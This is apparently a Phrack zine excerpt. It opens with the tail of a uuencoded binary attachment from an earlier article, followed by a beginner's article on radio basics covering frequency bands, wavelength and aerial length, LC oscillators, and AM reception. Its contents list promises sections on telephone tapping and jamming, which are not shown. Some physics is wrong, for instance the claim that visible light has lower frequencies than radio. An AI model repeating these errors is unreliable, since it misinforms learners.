MYU8]/9,HSJ]Z>AY1G&/U)"RB.,_JZ3E$<:[5TS.(XGRKI^8/13I73\T@BO2N
MGII#%.E>/36+*-*>FH>4:2#]=1,HD@/ZZFY1)$NUE.SB2)]K*?G$`4Y64_/
M)HKSLIZ>2Q3G9CT]DRC.SWIZ`E&<H_7T+*(X3^OI.41QKM;3,XCB?*VGX`^V
MJ]SF?&TDOA9GZQPW^C,X6^=I919GZ^NL[5R[Z]_%"N*/F4<YDQ-V]LXXB9;%
M"")[/;RS-P,K1UXW3!**`*5TK<GW4BKS"J!5YA5$K\@JC5N051JW(*XQ:D5<8
M3Z['4P![<CW.?P?R="6;']C3E6Q^8$`QK?,#>[J&S0W,>0V;021D<7G@:/7S
MV44]V;=L/DFBBP!6)*M[2@<]!;'BTT%_3N^?%C,-2%T9BPJ.A9%9H3.C,5<
M4T)GQF^N.:$S8[&C8U%D4NC,6,PU*W1F+/8T+(I,"YV774"+EU\J+W1>KI(?
MV0(30^=E/OF1+3`S=%X>E1_9`E-#YV5E^9$M,##=T7HZ7`]D"DT/G98SYD2TP
M.W1>_ID?V2?OY/S`GKR3<P"C-V^;J]Y:QL>[JAX>-RZ]LR;_S2BQNKFXZ$>]
ML7_=#3S\_]K?]?_AX,]%T^XI3CQP_Y:!:WT<'/?#?ORUYBD/P:=<8&CY4E,O
MS3[LE]:VR)O2GO&A[/I0<7W8TC]XGH'33HQ3S=5TS=5TW56C[JQA(&O!J2P1
MJFYT@GUH[KH^+[D^~P?FEF0VI%`K^3J.?GDZGNI6=YW?MISU]I+H1E!KJ),
MK3T7S4K-JHL&I>9AU?A$(("WN`^Z`@O/%JJ5L'/I/)]L_I;EEFLNVML^F;V0
M2`S7?OMX72Y7NY:JD0JUP?EHT/:N<#WJ=>`*4"RRA[:&$)3YP0I?*9`.I)J&
MY%9)Q:R:'>AA&F:'&8#4TH#47$`$ZMJ`U-,@UC.@U4@#TL@`I)E&]6V-ZDTI
M4-PL\NP59U=O&A?>Y=7;9M->`=HE`,=W011X_BCP;@8C+^RWNY,H'/3);^.!
M%V[M[VX,7D*A3U@F>!@`H_YSLM#"/GYM#8;M02?8N,.MAU3RAJ/@)GQHX>;S
MOKSUX7V%WH?#CDE.KVO>^46C>?2N=7Q6^Z>'Q(+W%?'^HG%^^FO\84O^(%Y7
M&N)U[5*\W=H5;R\OQ<NX:%V\K,0E&^+E[K9XV8Q?[HB7K^.7<74BJ5X>_=H0
M7_;$%S`WX-\(H<E#)D$SQO#HI.ZMKQ/:AI%`_M\?C`D7\ [O=3]YX-`E>>*4F
MO*ZL7W\:$\)' ;7\8T+D",@1`HY," :$XJWK9N@WYK_&D84/L#E(1?-TX;%]5C
M(E##7Q>-*XF9$90"_P$A.AX30K5V*H$`".VL$(R)BD/HS`SA.F<O+L_7-'C1
M,!^$I@`A.B>$ZN5%3:5D%..:$4]<7GE_08PA=!#"8OO.`WFK,"Z`P>C#IT.
M2V2LB0`Z1`8,?W3HCV0Z(QK2O^B/*1%PB4`7@+'H)$`%)X%!R%1H%16!04
MA60`@ADM`>HB(/RW@_)>X[_^';['?SOX[_6=!JC7>XCA]'HE*-3KE>F/"OVQ
M17]LTQ\[],<N_;&GP8O"GM3#!P;Q@8%\8#`?&-`'!O6!@7U@<!],P)W@>G++
M1J(S(E#)OV7\MX+_&N&_V_CO#OZ[B__N+2E@VH/^>#3HQBBV$58;8;415AMA
MM1%6&V&UX$59;AS6FIDH(9HQ@Q@AFC&#&"&:,8,8(9HQ@QCJ8*+A%='".1='0
M_!//!QWXYYP;^N8V`+A[1ZE.]CQ1/1HOEU:@\GBYS`Y6V,\M]G.;_QA/W?9
MS[V5]6;'./9Z@/ZHUQKU*+E+^4U$Q/SNH7)RWR_NCO_8`^`=5/[H\WZJL
M[:[MH367J!W<\NJ@3R2[$]F`R/9`-@/"^M6RY%]&1U)8A;ROOR!-26].SQI5
M!BH*KUM1NRL:K6!S^]+7L/-@HD0ZTSHZK3?>L?,FP\^3ZEW[D;4K4/6R5CUN
MD*J`U<M&7/-O7\MS-!OPZ#E#_WV7;'9C=J;)_ [O1+KH!AOCWK!;2!LE\NQN
M;\\//\MY.2?X)S]9VN?2W,BFRNUW:(S_`5BKO[NY6_N:5"FD]Y9E$8[])0O+`Y
```

M_4Z85"[M.^N,^/E?\M1J![[?M]N+YF_.CT]K!_Z,_ZT<7_V^Q>EZMO6G@6_\$K
M?C@^.B3KK'IY<M'-KSMAY\$>]Q5KSN/KZ\F#]9ABVO?5;;[U>.SLY/R(SOWY,
M_GA3_:G1JIV=-H]>M]YXBY=G!\J\VX@&,=2SP_^Y5#^W>G[8WQAXZDNRZ((-
M+C][%!7RRWV/O6R%_7M_%/K],7E!"I-A[FP,%A>)^/=BX>_+2GLKB^1-K;;B
MK4>\$;1+1>WW4^=3W>]"9@??WY<NS%<^HLDB;5H"M;.++-H='_D7*\$,A',@3V
MMR`L^YN2?\7[;7%!_GL3"*"4V/PUZ'?4-U>7%R=8L>W]_4=\$^_\M+MI(]F+!
M\O8KQ9B.O(XQOOUJ,.933YL([/57@R8L#`U%\NJK04]?LI9E)7W^:M`6C\$7#
ME[___:A!55]#P;F@N*WCIPG<N^&F\$T%N=P.____V)Q8=1SL&"O\LK;[`3WF_U)
MM[NX2)];.+.T.EV_4RE]Z'_Y2CRG_D0/037@ [&06%M0'RT-[.CDO^*^V4A/RW
M4RGO@/Q7WMEZDO>X_GVF\WKL+\9W2TN!NV[@5=CHQ_V;U%;2>>'1^<'+;+>
M]Y8:_7\$P\H;^^ (Y(28\$WN/'(XO:.0+79";QZ.`K:X\'HTPMO:7\$4^!U/R)5)
M(*K82`(460ZE@)9JY,,8D!7+>F-C8VDQ(C+<CYYRE/%>Q65^6UP/O*7H.TG>
M_>[OXO?O;I?B\$HKL^]W?Y3])N?]ZOF&N?U4RORN@C93SW\ [.UBZN_YVMO:UR
MJ4+6_QXY`3ZM_\=X-E>]16_5TP:=O(*WRVVRQ99*VZ!#A_[_O_M!V-GPQ_`-
M_KMZ<W3I-<DISX.?9W@74O_EZ/2U=_[VXOSL\$B[23X]_\:JG=:_JG5^<G377
MR?_)0;#6.+_H""':7O7MU1M2N58]]4[/KKS#AO>F<5SW+AJ7YV>GET>'!X`
MKY[^XM6K)]77#:]^=MKPWEZ2E@0:!/KKB^K)!L-M\$Z]R\`0:!!;WK+F\$UY-VW
M(>,M/S+I_.X5EGOUZA7G/M%X<G/C8>\$.81;]P*N=731:YQ=' /U6O&N)EM5YO
M-0X)%ZB1WOS4N+AJU1N';\GIME&M-RZ\DM34W7@\[\$!+ZJL6W6BM'T:Y?5P
M-!@/VH.NY=,H^&,21&-'(ZW;[N#:[T:6S_ =W`VLU/&&9K[L#P-?SW.V;WS0,
MC.\6%\$8W(?)V>4M].1F'W5:OLZ.^C8!8UP,0M97W-_V>/V[?`0'N!6-_O4OD
M0]AG8+]9QV:C#<]KD&'WHF!T'XQ(/]I>V^][UP%<O@T'411>=S]YO4EW'`Z[
M`<PM`!+I4'#"P<40F1UD!HTF[3%^;[700!Z.?WVY:'[]\$V\DI!>K_>!A_!+?
M,KS\3H<BMQKYHY?QC<:83%CR>C#J\$+0G\$>R#X=@;#V@'G#<=XEFE5V.TV>5^
M0/#OX+8_`(S&'H1*)>M:-"/5OC%B42H5?K[2P&-(41?`Q:3B.SK?<_W<"P`
M!+MB588C'`K0OX`LU"G&X\Z/[F@'(H\0H!T`!:#.G7\?B)*D\$?LHA4.D+:6`
M_(<8*:4\$'2OEU9<<+1RKZ\`XCA,1V#0.7A9HA8QO>\$.QPB%FIA>>-IW)[U\$,
M!N"06OU!?!_WT[?\$QP(0Y8EF=63H!"CN@)"!+YA&;:8Q7+QR=OZE>OFFA01?>
M%B]4=G87Q4R`3<U;75[MA"/]WXGO;^9],G.MSP<#+K>ZII'KU)6Z-2-!CU^
M1^]W/6QA'!(*)CUN@[%`H3MH^_3#S6C0(S.^1R190(S6);+L4:OQ[OSLXFJ9
M(K!"A.S6T.^2BLMLZE\$\$_#6P%"`SYX\H_\$)`T+!#P/IA/QQ3CLJV%]:)H5KM
MI^H%JPH7+!.R/H"-MNCOB0V,@ELR3H1&9-(%L`3";F<9;1+"SIK'!PQ[M+P*
MN\@XZ/MD51)RTD[X9+JM,9JO`<2//D%Y3-:C/YY\$*_Q3QQ_[,3RH^G\$4CH/6
M3<?9DTG8(7`1#(M1ZVPXRIWR\O=C@:3H5Z0==@?C?Q/K3MRZ@#)`;L.<Z.%
M[SE1Z<#T@^XX4G\$E;UKI@Q4%XPELZT\$W[/\>=!CY(UH@9;Q6QX.A;;PL)5=]
MV+A)1T0+B5B1"1U:I]" :PAQ@;%L1+`HA\$'_GS5GU]5&C18]*8/9;/ZN]/6F<
M7A\$!\(I\+)-+1"9S\$IRPM66ZS.!72E>_#>N'+[][OSL!>LI5R5J3JU*V3-8.
MK0]L4-2&8L!9^`N_TPO[:XL+"U:VOLMT!NW18#"&1B?]*+SM\$X;;'1!>0]9Y
MFRQ4UNSUY(9#;?<ZM.UV'ZM]:>D^_4DY_S%5^VQM))__RJ7M+:'_(?_M_JU4
M*95W=Y[.?X_Q;*X:QS^F!Z9'P/,WYYOGP:CK79YY)\@]X&UU//;;O\VRTY-
M'T,B@UQ/0B)M]5FY"\$2V\$Y"__[LB6V?\$: _?MP-.CW@CYL[&GGRP*.EUX1YTO/
M=L`4YTM"*79@5`Z70\$`X>(@W2]KY>@EK!P\H9@F(P0\$4@>5&`BP7QNG]5;S
M[6GMZP&2GNR?C.)UQ[W6#2[8"4Z]_[81<-YT&<OT.#KO\\$_4Z+UV@!TI_8?'1`
MQ0<TL%BDXC?%)HF%09<T#>7+%5L9&F(3B!FT2RG+RI(!C%))+_0F_TA?T7VIM
MB`2AQ0UR**\Y/2ZOR`JH7M3!X.4M\$7&I#F(-ORV]H0K<G\Z.ZAO5*^]L&(RH
M7+I\$ "UA(33]0M'+\2G\[:_W4N+@DTZ/U2^JS8H?64GGC8NKH\8E]O=;<AB(
MK07H'`O=N&*EEP6"*XO?\$LJ\$-XMIB\ -Z2B/2`1P5J='L2TN!\<B_9^_)!AZ^
M-(\Q]!5*RDP2H@ (2V??)SY>+"XO\=\$.D<\$/W!-\>\!(S'"/AN,6.0`%;#J\
MY#7E\$P0>C0G.UQ1G#D/NAW=`Q&JUFRM<.\$'I9'7%=BA82S]82<]2;P!)T+9A
M<2,"-]"HC,0![06C.SP7C:NW%Z>M9O7XLD\$[]Q>M3!8]D7@)A6^6E]ZO?O#(
MGC">D(,4GO=>_`@]>O5;?XG20]!D0-@(\$=5O[[R/=P/2'A[Y:=.P\$,+XU`G`
MX>604*7TT@N]'SWCY\$=>?_`^]A"A6@)\$G=>0^O0_O/1P1GCL*_Q8?P5G?;F?
M%\$,X=!.2JYW13\$VQI7X,B)Z)^]XWE'CPZX'7M[8@S0UV]F;S#F#BN5=NV&+B
M"L4)=#CR!&/ .0YAP3YJD0-=?*1]RS9%GTO&1368#?;>AEW_DSQZ8;\3/"#U
ME`Z\$?*=Q'G(IN[VN/HF^(VPU_H]-HK0.0,=]TFMH&OEWAO*,4\$+/@V>(O-7\$
M422E)H[:/_#`^BLR=GSO:L`FY;WPEF#>+*GD_Fm1_@7_D8D5KZ^`\$KBH^A6P
MN6CHMI`U4JY"=C5(6,0R5Q.JP<L3(,)!QX&#^<C%9F/&<C,P,HT6"HSH^M_
M"&M<+?;2&\8`\+X/31Y@SO<7WW7X-(<*8@[#`P@:),L5CJX.()LTX#(=0X2K
M\$_@HZTBQXB\1[\EA<5479;["S3,UCO4)FF:AA:1@;K+O#5=#;'T\>/`#?RU
MLD&3LR;J,]:\I4TXX&QBE:TDHEJE<X9%K/SP&&6DUZC[4-X/R2O0[(QNRVOT
M9T6:U=CZZ=N35O7B]27I*" %VQ?O\61`7)4S8"H;^B%!R'(RB5O"P7%GSGE&(M
M*.R`JNA63TZ?GO1D(?FYXNST]?@V%T]:=7.WIY>R0-!%B=9RN/6>-"*QJ"8

M!<``=.5EXG>Q*07A^+5U>77Q4_6X=7Y.X:2.AY4Q:&`J*PGC)`X\K-,68K.?M6^SG-ONYDSP(._D'@?[8HC^VZ8\='!D!*,\0Y1TCLJ+(QS\$?H:3:6RG?MU.^M[V@S0"CW+#/@U]:Q/)9K^O!NK62;!MMFU1TZ,[ZT7N:Q'E7_1]CH90%MI-E_ME;C]U]9NI5(!^Z_MRL[VW[R=XE\$QG__C^C]S_\$U=(/EOIC;2_#]*.[O2^&^#M_G=K;_M)___L8SX_@6OQJ\<=_'+L\$9;!G50>3___'3_OZV?E%[%\'']._9U<\$"M]&40>#X'Q_6EXX<QRI&^%_D]N,VG);PH)(=&.";2NE=P%(YQ`^&I?QMX7-SRM\ -PTN"\$'3KR\5`Z=\$@INK;0H,K/ADU>(Z9-GZJ8YBG!LAE^"T6@`ARHX#Q"*M+I?H+DQO[]):7"+5:)XT3:KP\$T5/LGT^J[^H\$\\3=P?'(506T=N!_JKCU+;&.7M=`#HJVDYYW,5),KS_"@99?_3F2%6,(!^8HBT-'[L*(H3]!(%.IZ&QX_&/`#M,SLB,]1`H3H>>'!1*C3R<\$O:CY+1@PJ=^#01Z___054'2VWG>I\$).`,M_#\61MG?P)1@CD%2\$;7)7?!J/X0/]WJLA:C.%&`=Z3C\9H-AL#_OOPAF!]X\$63:] +5M93@]?^P0E\$B?-Y?(O^H8K7E\$T./B46<@D\L@^]+5Z!.LZV\!#\$&(0'SAX>_0MI*Q[^#M<X!,<"WXMP52X_OOY3(,SZ6-C4T!1'R']_\$.;',')-;P?/7WF><^>M>=]@&Z+143">C/JT87SWEX>T@LEA&2!EA/A\$3-#:Z6KE9=\$PJ6]E+7I5VWG/M<KPTSH^LE4UJX6QK2IO)#E3_\\H)N%(ANFX-;_L0\$@'GO#E/&)#%?Y#M89-NM\$U]ZMWIZBGXT^2\\8=8L_`!!QJ))9_M_:`_E_>^M)_G^4QS+^FO1'7FW,Y@B>M<OXCTOZV-/YH_[&SO?<D_S_&\\^TWFY-HA#Y`,-*+WRY^JXO_=`*0]V#;#=(\\MVH,P^?_;V87_;P'LE'+_M[,)_=BT4]['K[.*^M_.+N=_JPGYWRX2\\OSNDU[2MD7JY"/;WX2CPZI_Z_C&8^HU>+OZ_H\\LJD;7^^+B\\L;\$A?0\$'*9#(45WN+=4&M8*(Y7K\\B@N@+;TQ\$WLV[<:_[6Q_E"U[J3?AO-LBJ^'+.5B\\7HZ`;M,?+EU?UML[=7`/OOW?!Z%, "=8]SNBQ>=+@IC+7#!6I:EGK*%\\;"#P]] [011!5PU0>+(!M28>B*`H2\$96B_O?H4\\^`!#DW=%KDX_6`R*H4T_C8HEP2S(B!5AXR61&!L_5`MY/3E)=X0D0`9IK,U]DRHS*71[0SZ@1`6%_] .C6Q-X)-^/#", (BM?49"2I^?IM>7J>GJ?GZ7EZGIZGY^EY>IZ>I^?I>7J>GJ?GZ7EZGIZGY^EY>IZ>I^?I>7J><GJ?GZ7EZGIZGY^EY>IZ>I\\=X_G^J=K^<`!@&````\`

end

|=[EOF]=-----=|

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x0b of 0x10

|=-----=[The basics of Radio]=-----=|

|=-----=|

|=-----=[shaun2k2 <shaun at rsc dot cx>]=-----=|

0 - Introduction

0.1 - Technical Terms

1 - Radio Basics

1.1 - Radio Waves

1.2 - Carrier

1.3 - (RF) Frequency Bands

1.4 - Wavelength

1.5 - Transmission

1.6 - Receiving

2 - AM Radio

2.1 - What is AM Radio?

2.2 - Modulation

2.3 - Demodulation

2.4 - Circuits

2.4.1 - Receivers

2.4.2 - Transmitters

3 - FM Radio

3.1 - What is FM radio?

3.2 - Modulation

3.3 - Demodulation

3.4 - Circuits

- 4 - Misc
 - 4.1 - Pirate Radio
 - 4.2 - Wireless Telephone Tapping
 - 4.3 - Jamming

5 - Conclusion

6 - Bibliography

--[0 - Introduction

Ever since our discovery of radio, in around 1902, we have proceeded to utilise it for many different purposes -- from sending others short messages, to transmitting large and critical data sequences to other computer systems. As time has gone on, as useful a technology as radio is, it is barely noticed anymore. When most people think of 'radio', they picture a small black device sitting in their car, which they will use to listen to their local radio stations during car journeys. On the other hand, very few people realise the true usefulness of radio, often forgetting that their cellphones, televisions, satellite TV and alarm systems all too use radio to complete their task on a very regular medium -- radio is not just that boring old thing gathering dust in the corner.

This article is divided up into four parts. The first part describes the basic theory of radio, and examples to illustrate some of the common day uses of it. In parts two and three, AM and FM radio details are outlined showing various different circuits to illustrate how these principles can be applied to real-life, functioning circuits. Section four is a misc. section, presenting some miscellaneous interesting points. Some electronics knowledge is useful in radio, though not totally necessary. Most circuits presented here are quite rough, and can be greatly improved upon in many ways.

----[0.1 - Technical Terms

Below is a description of technical terms used throughout the article:

- | | |
|-------------|------------------------------------------------------------------------------------------------------------------------------------------------------|
| RF | -- Any frequency within the radio spectrum, which can be used by to transmit and receive radio signals. |
| Modulation | -- A technique used to package data into a radio signal which is of use to the destination radio receiver. |
| AM | -- Amplitude Modulation. This involves shifting the amplitude of a radio signal's carrier very slightly in sympathy with a modulating signal. |
| FM | -- Frequency Modulation. FM modulation involves shifting the frequency of a radio wave's carrier very slightly in sympathy with a modulating signal. |
| Receiver | -- Any device which is capable of receiving radio signals sent by a radio transmitter. |
| Transmitter | -- A device which can transmit radio waves into the surrounding environment. |

Aerial -- A medium to large piece of wire which is used by either a radio transmitter or receiver to propagate or detect an incoming radio signal. In a radio receiver or transmitter, an aerial acts as one plate of a capacitor, whilst the other plate is taken place by the Earth.

Antenna -- See aerial.

Wireless -- Refers to any technology which communicates data without the need for a wired connection. Most wireless devices, such as cell phones, televisions, and others use radio, but several do use technologies such as infrared, which is not covered here.

Radio wave -- A radio wave is an 'electromagnetic' wave, most commonly containing data to be received by a remote radio receiver.

Oscillator -- Refers to an electronic circuit which 'oscillates', or 'vibrates', to complete a certain task. Oscillators are used in radio to transmit radio waves at a given frequency -- the rate at which the oscillator oscillates is the RF (see RF) at which the wave is transmitted. Common oscillator circuits, also used in this paper, are LC oscillator circuits, and crystal-controlled oscillators.

Crystal-controlled oscillator -- An oscillator circuit whos oscillation frequency is controlled by a 'crystal'. See oscillator.

LCoscillator -- An oscillator consisting of a capacitor and an inductor, whos frequency of oscillation is controlled directly by the capacitor, which is usually variable. See oscillator.

Capacitor -- Device which stores current as an electrical field.

Broadcast -- A term used to describe transmitting radio waves into the atmosphere.

Wavelength -- The physical distance between two waves on the same frequency, transmitted successively.

Bands -- Frequency Bands are a range of frequencies used interchangeably or commonly for the same type of technology. For example, televisions often use the VHF band.

Frequency -- Number of cycles per seconds. Frequency can be used to describe how often an oscillator oscillates.

Sidebands -- When modulation of a carrier is applied, two extra bands are generated, both slightly higher and lower than the carrier frequency, equating from the 'sum and difference' of the carrier and audio frequency. These two bands appear at either end of the RF carrier, hence the term 'sidebands'.

--[1 - Radio Basics

----[1.1 - Radio Waves

Radio waves, otherwise referred to as 'radio signals', are simply electromagnetic waves. Radio waves are transmitted by devices called 'radio transmitters' or 'transmitters' for short. Despite our wide and

many uses for radio waves as a whole, we actually know very little about 'radio'. We do know, however, that radio waves are a form of energy, which act exactly like they have been propagated as any other type of wave we know of. For example, an audio wave.


Radio waves are made up of three things; an electric field, a direction, and a magnetic field.

Despite our underlying ignorance of radio and its properties, we can predict and use its properties to our advantage to undergo a wide variety of different tasks -- and will probably do so for a long time to come.

----[1.2 - Carrier

An 'RF carrier' can be thought of as the part of the radio wave which can be modulated to 'carry' a data signal. An analogy to help with understanding this is to think of turning on a flashlight and pointing it towards a wall. The light which is seen on the wall is the 'carrier'.

Before and without modulation, the carrier of a radio wave contains no data, and just contains peaks of an RF voltage.



Because sending radio waves with a carrier containing no data would be almost useless, a carrier is 'modulated' to contain data. There are various modulation schemes in wide use, but the two most common schemes are AM (Amplitude Modulation) and FM (Frequency Modulation). These are discussed later.

----[1.3 - (RF) Frequency Bands

As we can gather from listening to a variety of radio stations, different forms of technology use an entirely different 'band' of radio frequencies on which to send and receive their radio signals.

The entire range in which radio signals are transmitted extends from around 30KHz, up to about 30GHz. This whole range of available RFs (Radio Frequencies) is known as the 'radio spectrum'. The radio spectrum's range of frequencies, and their concurrent uses are shown in the below table.

Frequency	Uses	Name
30KHz-300KHz	Long-wave radio, useful for long distance communications	Low Frequency (L.F)
300KHz-3MHz	Medium wave, local radio distant radio stations	Medium Freq (M.F)
3MHz-30MHz	Short wave radio Communications	High (H.F)

	Amateur radio	
30MHz-300MHz	FM Radio Police radio Meteorology Comms	Very High (V.H.F)
300MHz-3GHz	Air Traffic Control TV	Ultra High (U.H.F)
3GHz-30GHz	Radar Comms Satellites Telecommunications (TV & telephone)	Microwaves (S.H.F)

Since certain frequency bands are used to accomodate important communications, such as the VHF band, it became illegal to transmit radio waves at certain frequencies without a license. It was made so because transmission of radio signals at important frequencies could interrupt critical communication, such as communication between police officers with their radio transmitter devices.

All frequencies within the radio spectrum are invisible to humans. Light frequencies which are visible to humans, i.e frequencies which are present in the light spectrum, operate at *much* lower frequencies.

----[1.4 - Wavelength

Wavelength is the physical distance between a peak in one radio wave, to the peak in another radio wave transmitted successively -- on the same RF. As a general analogy, the wavelength can be thought of as the distance that the peak in a given wave will have travelled in the space of time for one cycle. This can be calculated using the below simple formula.

$$\lambda = V / F$$

* λ = lamda
V = Velocity
F = Frequency

Using this formula, the wavelength for an example scenario can be calculated, when the RF is 27MHz. The speed of light is 300 million meters/second, which is therefore the velocity of the electromagnetic wave.

$$\lambda = 300,000,000 / 27,000,000$$

$$= 11.11r$$

Looking at the above calculation, what can be gained? It seems that the wavelength for waves transmitted in the example scenario is 11.11 (recurring) meters, so from this, it can be gathered that a peak in a particular radio wave will have travelled 11.11r meters in the time it took for one oscillation of the transmitting oscillator. But how can we know how long this oscillation period takes? We can calculate this using the formula ' $1 / f$ '.

$$1 / 27,000,000 = 0.0000000370r$$

This means that within the miniscule time frame of 0.0000000370

(recurring) seconds, the peak within the radio wave should have travelled approximately 11.11 (recurring) meters.

Wavelength might seem quite a useless thing to calculate on its own, but it comes in very useful when it comes to calculating suitable aerial lengths for both radio transmitters and radio receivers. As a rule of thumb, an ideal length for a radio aerial is around 1/2 of the signals wavelength. This can be calculated very easily.

$$11.11 / 2 = 5.555 \text{ (roughly)}$$

From this calculation, we can gain the knowledge that a near ideal radio transmitter/receiver aerial can be constructed to be of around 5.5 meters. Exact precision is not generally critical to the overall operation of the radio transmitter/receiver. For example, where portability of equipment is more of a concern than great efficiency, 1/4, 1/8 or even 1/16 of the wavelength in meters is often used for the length of the radio aerial.

$$11.11 / 4 = 2.7775$$

$$11.11 / 8 = 1.38875$$

$$11.11 / 16 = 0.694375$$

From this little experiment we can see that we can turn a length which is considerably out of question due to portability desires, into a length which is much more suitable, yet efficiency is not affected too much.

This technique is very commonly employed to calculate sensible lengths for radio aerials. However, other techniques are also employed, especially in the case of satellite TV. Notice how TV satellite dishes have tiny holes in the body of the dish? These holes are specially sized to ensure that radio waves with wavelengths less than that associated with the desired RFs (3GHz-30GHz) do not create an electrical current in the aerial wire, as suitable radio waves do. Holes based upon the same principle can also be found when looking inside a microwave oven.

----[1.5 - Transmission

Perhaps one of the most difficult concepts to grasp in radio is how radio waves are actually broadcast into the environment. As touched upon previously, radio waves are transmitted using oscillators in electronic circuits, and the rate at which the oscillator oscillates is the frequency at which the radio waves are transmitted.


As an example, we will focus on using an LC tuned oscillator circuit in the radio transmitter circuit. LC oscillators are made up of an inductor (L), and a capacitor (C). If we consider how a capacitor stores current, we can come up with the conclusion that it is stored as an electric field between two plates -- these two plates make up the capacitor. During one oscillation (also known as a 'cycle') of the LC tuned circuit, all available current is stored first in the capacitor as an electric field, and then as a magnetic field associated with the LC circuit's inductor. After a *very* short time period (1/f), the magnetic field is turned back into an electrical current, and begins to recharge the capacitor again. Because the inductor's magnetic field is beginning to change back into electrical charge, the inductor turns another electrical field into a magnetic field in order to counter-act the change. This continuous cycle of quick changes keeps the current in the LC circuit flowing in the same direction, driven by the current stored in the inductor. When the inductor's charge eventually becomes zero, the capacitor becomes charged again, but with the opposite polarity. After each oscillation (cycle), energy loss has occurred, but not all of the energy loss can be accounted for as energy lost as heat from the inductor's coil. Thus, we can gather that some energy has been 'leaked' from between the capacitor's plates, as

electromagnetic energy -- radio waves.

If we consider this, we can conclude that the further apart the plates in the capacitor are, the more energy is broadcast ('leaked') as radio waves. This must mean that if we have a capacitor with plates spaced 1 meter apart, more energy will be broadcast as radio waves than if the capacitor had plates spaced a very small distance apart. By thinking even deeper, we can conclude that to maximise 'leakage' of radio energy, a capacitor is needed in the LC tuned oscillator circuit with plates spaced at quite a distance apart. It just so happens that for this task, to maximise broadcast of radio waves, the world's largest plate can be used to take the place of one plate of the capacitor -- the Earth! The other capacitor plate needs just be a suitably lengthed piece of wire, which is an equally common sight -- this piece of wire is known as an 'aerial'!

In real-world radio transmitters, oscillator circuits are used to make a small current 'oscillate' in an aerial wire. Because of the constant change of energy form in the oscillator circuit, the current oscillating in the length of the wire becomes electromagnetic and is radiated as radio energy.

Back to the length of the aerial in relation to wavelength; this is where the length calculated earlier comes in handy. From the knowledge gained here, we can assume an adapted LC oscillator circuit as below.



As a concept, using the adapted LC tuned oscillator circuit above, the transmission of radio waves can be thought of like this; radio waves are generated due to the propagation of an electric current in an aerial wire. It is, as we have learnt, the 'leakage' of electromagnetic energy from between the two plates of the capacitor which causes broadcasting of radio waves.

As oscillations occur in our LC tuned circuit, all available energy is stored in the capacitor, followed by energy (electrical current) not leaked as electromagnetic waves being fed into the inductor. This whole process measures one oscillation, and once one oscillation is over, the whole process repeats itself again, and each time energy is being lost as radio waves from the acting 'capacitor' (aerial and Earth). Therefore, it is the rate at which the LC circuit is oscillating (the 'frequency') at that determines the frequency at which the radio waves are broadcast at -- thus determining the RF of the radio signals.


----[1.6 - Receiving

The concept of receiving radio signals is based upon almost the opposite of the concepts of transmitting radio waves. In similarity to radio transmitters, radio receivers also use an aerial, but for a totally different purpose; for detecting the radio signals in the environment. As described previously, radio waves are a form of energy, propagated as electromagnetic waves through the air. Thus, when radio signals transmitted by nearby radio transmitters pass the aerial of the receiver, a *tiny* RF alternating current is generated in the aerial wire. When a signal becomes


present in the aerial wire, 'wanted' radio frequencies are 'selected' from the assortment of RF currents in the aerial, using a 'tuned circuit'.

As an example, we'll focus on the LC tuned circuit as in the previous section, due to the simplicity of this circuit. RF current of the 'wanted' frequency can be selected from amongst the other RFs by use of an LC tuned circuit, which is set to resonate at the frequency of the 'wanted' radio frequency. This selection is done because the LC tuned circuit has low impedance at any frequencies other than the 'wanted' frequency. Frequencies other than the 'wanted' frequency are prevented from passing through the circuit because they are 'shorted out' due to low impedance of the LC circuit at any other frequency than the resonant frequency (the frequency of the 'wanted' signals).

Following the selection of correct radio frequencies from the other RF signals, the radio receiver will usually amplify the signal, ready for demodulating. The technique which is adapted by the receiver for demodulating the radio signal into the modulating signal is totally dependant on the type of modulation being used in the received radio wave. In the case of an AM radio receiver, a selected signal will be 'rectified' and thus demodulated, using a low-drop germanium diode. This process basically turns the alternating RF current back into a direct DC current, which represents the power strength of the AM signal. Next, the RF component is generally removed by using a capacitor. The output product of this process is a recovered modulating signal which can be fed to a pair of high impedance headphones. The diagram below represents how the selected RF current is rectified by the diode.




After being rectified by the diode, the AM radio signal is still not suitable to be fed to an audio output, as the RF carrier is still present. The RF carrier can be removed by using a single capacitor.



The output of the capacitor is a recovered modulating audio waveform which is suitable for passing to an audio output device, such as a set of headphones with a high impedance.

This technique is likely to be the simplest way to create an AM radio receiver, commonly known as the 'crystal set', used by the mass in the 1920s. Other receivers are more often used to produce a higher quality of audio output, such as TRFs (Tuned Radio Receivers) and Superhetrodyne receivers.

The whole system model of a radio receiver at its most basic level can be thought of as the below diagram.



Although the techniques and components needed to achieve each step of the diagram are different, most receivers stick to this sort of system. Other types of receivers and their circuits are discussed more indeph in the section they are related to.

--[2 - AM Radio


----[2.1 - What is AM Radio?

AM Radio refers to any form of technology which makes use of Amplitude Modulation to modulate the 'carrier' with information. To package a radio wave with often complex signals, the carrier of a radio wave is shifted in power very slightly in sympathy with a modulating audio or data signal. Next to morse code, AM is one of the simplest forms of modulation, and with this, comes its disadvantages.

----[2.2 - Modulation

AM Modulation involves nothing more than shifting the power of a radio wave's carrier by tiny amounts, in sympathy with a modulating signal. Amplitude, as you probably already knew, is just another word for 'power'.

The simplicity of AM modulation can be demonstrated with a simple diagram like the one below.




As you can hopefully make out from the diagrams, whenever the modulating signal (the signal which we are modulating) increases in voltage, the amplitude (power) of the RF carrier is increased in sympathy with the modulating signal. When the voltage of the modulating signal declines in voltage, the opposite of above happens. After AM modulating the carrier, the signal has usually twice the 'bandwidth' of the original modulating signal.

----[2.3 - Demodulation


When an AM designed radio receives a radio wave, as previously noted, a small RF alternating current is generated in the aerial wire. Because of the AM modulation of the carrier applied by the sending transmitter, the voltages in the carrier are larger and smaller than each other, but in

equal and opposite amounts. As a result, to recover the modulating signal, either the positive or the negative part of the modulated signal must be removed. In the simplest AM radio receivers, the modulated signal can be 'rectified' by making use of a single germanium low-drop diode.



Here, part of the carrier has been removed, resulting in recovery, or 'rectification' of the modulating signal.


Because the carrier frequency (the RF of the radio wave) is usually significantly greater than the modulating frequency, the RF carrier can be removed from the resultant modulating signal, using a simple capacitor.



By exposing the rectified signal to a capacitor, the audio signal (or otherwise data signal) is smoothed, producing a higher quality of audible output. At this point, the modulating signal is more or less recovered.

Although this technique of AM demodulation can be made to work to a satisfactory level, the vast majority of commercial radio receivers now adopt a design known as 'superhet', which I will explain briefly here.

Superhet receivers are based upon the principle of 'mixing' two signals to produce an intermediate frequency. The diagram illustrates a superhet receivers operation.



